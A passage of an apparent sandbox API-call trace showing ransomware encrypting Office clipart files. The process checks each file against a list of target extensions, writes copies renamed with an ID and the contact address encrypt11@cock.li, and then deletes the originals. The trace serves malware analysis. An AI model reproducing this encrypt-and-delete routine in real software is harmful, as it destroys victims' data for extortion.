[0157.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.739] lstrlenW (lpString=".xls") returned 4 [0157.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.739] lstrlenW (lpString=".xlsx") returned 5 [0157.740] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0157.740] lstrlenW (lpString=".ppt") returned 4 [0157.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.740] lstrlenW (lpString=".zip") returned 4 [0157.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.740] lstrlenW (lpString=".rar") returned 4 [0157.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.740] lstrlenW (lpString=".bz2") returned 4 [0157.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.740] lstrlenW (lpString=".7z") returned 3 [0157.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.740] lstrlenW (lpString=".dbf") returned 4 [0157.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.740] lstrlenW (lpString=".1cd") returned 4 [0157.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198025.WMF") returned 68 [0157.740] lstrlenW (lpString=".jpg") returned 4 [0157.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.741] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.741] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.746] GetLastError () returned 0x0 [0157.746] ReadFile (in: hFile=0x39c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xa69e, lpOverlapped=0x0) returned 1 [0157.837] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xa6a0, lpOverlapped=0x0) returned 1 [0157.838] ReadFile (in: hFile=0x39c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.838] WriteFile (in: hFile=0x354, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.839] SetEndOfFile (hFile=0x354) returned 1 [0157.839] CloseHandle (hObject=0x354) returned 1 [0157.839] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.839] SetEndOfFile (hFile=0x39c) returned 1 [0157.840] CloseHandle (hObject=0x39c) returned 1 [0157.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198234.wmf")) returned 1 [0157.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.841] lstrlenW (lpString=".doc") returned 4 [0157.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.841] lstrlenW (lpString=".docx") returned 5 [0157.841] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.841] lstrlenW (lpString=".pdf") returned 4 [0157.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.841] lstrlenW (lpString=".xls") returned 4 [0157.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.841] lstrlenW (lpString=".xlsx") returned 5 [0157.841] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.841] lstrlenW (lpString=".ppt") returned 4 [0157.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.841] lstrlenW (lpString=".zip") returned 4 [0157.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.841] lstrlenW (lpString=".rar") returned 4 [0157.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.841] lstrlenW (lpString=".bz2") returned 4 [0157.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.842] lstrlenW (lpString=".7z") returned 3 [0157.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.842] lstrlenW (lpString=".dbf") returned 4 [0157.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.842] lstrlenW (lpString=".1cd") returned 4 [0157.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198234.WMF") returned 68 [0157.842] lstrlenW (lpString=".jpg") returned 4 [0157.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.855] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.855] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.873] GetLastError () returned 0x0 [0157.873] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x9d6c, lpOverlapped=0x0) returned 1 [0157.889] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x9d70, lpOverlapped=0x0) returned 1 [0157.890] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.891] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.891] SetEndOfFile (hFile=0x378) returned 1 [0158.120] CloseHandle (hObject=0x378) returned 1 [0158.120] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.120] SetEndOfFile (hFile=0x3a0) returned 1 [0158.121] CloseHandle (hObject=0x3a0) returned 1 [0158.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198377.wmf")) returned 1 [0158.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.123] lstrlenW (lpString=".doc") returned 4 [0158.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".docx") returned 5 [0158.123] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.126] lstrlenW (lpString=".pdf") returned 4 [0158.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString=".xls") returned 4 [0158.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.126] lstrlenW (lpString=".xlsx") returned 5 [0158.126] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.126] lstrlenW (lpString=".ppt") returned 4 [0158.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.126] lstrlenW (lpString=".zip") returned 4 [0158.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.126] lstrlenW (lpString=".rar") returned 4 [0158.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString=".bz2") returned 4 [0158.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString=".7z") returned 3 [0158.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.126] lstrlenW (lpString=".dbf") returned 4 [0158.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.126] lstrlenW (lpString=".1cd") returned 4 [0158.126] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198377.WMF") returned 68 [0158.126] lstrlenW (lpString=".jpg") returned 4 [0158.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.127] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.128] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.128] GetLastError () returned 0x0 [0158.128] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xc37e, lpOverlapped=0x0) returned 1 [0158.150] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xc380, lpOverlapped=0x0) returned 1 [0158.151] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.151] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.152] SetEndOfFile (hFile=0x378) returned 1 [0158.152] CloseHandle (hObject=0x378) returned 1 [0158.152] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.152] SetEndOfFile (hFile=0x3a0) returned 1 [0158.153] CloseHandle (hObject=0x3a0) returned 1 [0158.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199307.wmf")) returned 1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.154] lstrlenW (lpString=".doc") returned 4 [0158.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.154] lstrlenW (lpString=".docx") returned 5 [0158.154] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.154] lstrlenW (lpString=".pdf") returned 4 [0158.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.154] lstrlenW (lpString=".xls") returned 4 [0158.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.154] lstrlenW (lpString=".xlsx") returned 5 [0158.154] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.154] lstrlenW (lpString=".ppt") returned 4 [0158.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.154] lstrlenW (lpString=".zip") returned 4 [0158.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.154] lstrlenW (lpString=".rar") returned 4 [0158.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.154] lstrlenW (lpString=".bz2") returned 4 [0158.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.154] lstrlenW (lpString=".7z") returned 3 [0158.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.155] lstrlenW (lpString=".dbf") returned 4 [0158.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.155] lstrlenW (lpString=".1cd") returned 4 [0158.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199307.WMF") returned 68 [0158.155] lstrlenW (lpString=".jpg") returned 4 [0158.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.155] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.155] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.156] GetLastError () returned 0x0 [0158.156] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x662a, lpOverlapped=0x0) returned 1 [0158.158] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x6630, lpOverlapped=0x0) returned 1 [0158.159] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.159] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.159] SetEndOfFile (hFile=0x378) returned 1 [0158.159] CloseHandle (hObject=0x378) returned 1 [0158.159] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.159] SetEndOfFile (hFile=0x3a0) returned 1 [0158.160] CloseHandle (hObject=0x3a0) returned 1 [0158.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199423.wmf")) returned 1 [0158.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.161] lstrlenW (lpString=".doc") returned 4 [0158.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.161] lstrlenW (lpString=".docx") returned 5 [0158.161] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0158.161] lstrlenW (lpString=".pdf") returned 4 [0158.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.161] lstrlenW (lpString=".xls") returned 4 [0158.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.161] lstrlenW (lpString=".xlsx") returned 5 [0158.161] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0158.161] lstrlenW (lpString=".ppt") returned 4 [0158.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.162] lstrlenW (lpString=".zip") returned 4 [0158.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.162] lstrlenW (lpString=".rar") returned 4 [0158.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.162] lstrlenW (lpString=".bz2") returned 4 [0158.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.162] lstrlenW (lpString=".7z") returned 3 [0158.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.162] lstrlenW (lpString=".dbf") returned 4 [0158.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.162] lstrlenW (lpString=".1cd") returned 4 [0158.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199423.WMF") returned 68 [0158.162] lstrlenW (lpString=".jpg") returned 4 [0158.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.162] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.162] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.163] GetLastError () returned 0x0 [0158.163] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4124, lpOverlapped=0x0) returned 1 [0158.165] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4130, lpOverlapped=0x0) returned 1 [0158.166] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.166] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.166] SetEndOfFile (hFile=0x378) returned 1 [0158.166] CloseHandle (hObject=0x378) returned 1 [0158.166] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.166] SetEndOfFile (hFile=0x3a0) returned 1 [0158.167] CloseHandle (hObject=0x3a0) returned 1 [0158.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199429.wmf")) returned 1 [0158.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.168] lstrlenW (lpString=".doc") returned 4 [0158.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.168] lstrlenW (lpString=".docx") returned 5 [0158.168] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.168] lstrlenW (lpString=".pdf") returned 4 [0158.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.168] lstrlenW (lpString=".xls") returned 4 [0158.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.168] lstrlenW (lpString=".xlsx") returned 5 [0158.168] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.168] lstrlenW (lpString=".ppt") returned 4 [0158.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.168] lstrlenW (lpString=".zip") returned 4 [0158.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.168] lstrlenW (lpString=".rar") returned 4 [0158.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.168] lstrlenW (lpString=".bz2") returned 4 [0158.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.168] lstrlenW (lpString=".7z") returned 3 [0158.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.168] lstrlenW (lpString=".dbf") returned 4 [0158.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.169] lstrlenW (lpString=".1cd") returned 4 [0158.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199429.WMF") returned 68 [0158.169] lstrlenW (lpString=".jpg") returned 4 [0158.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.169] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.169] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 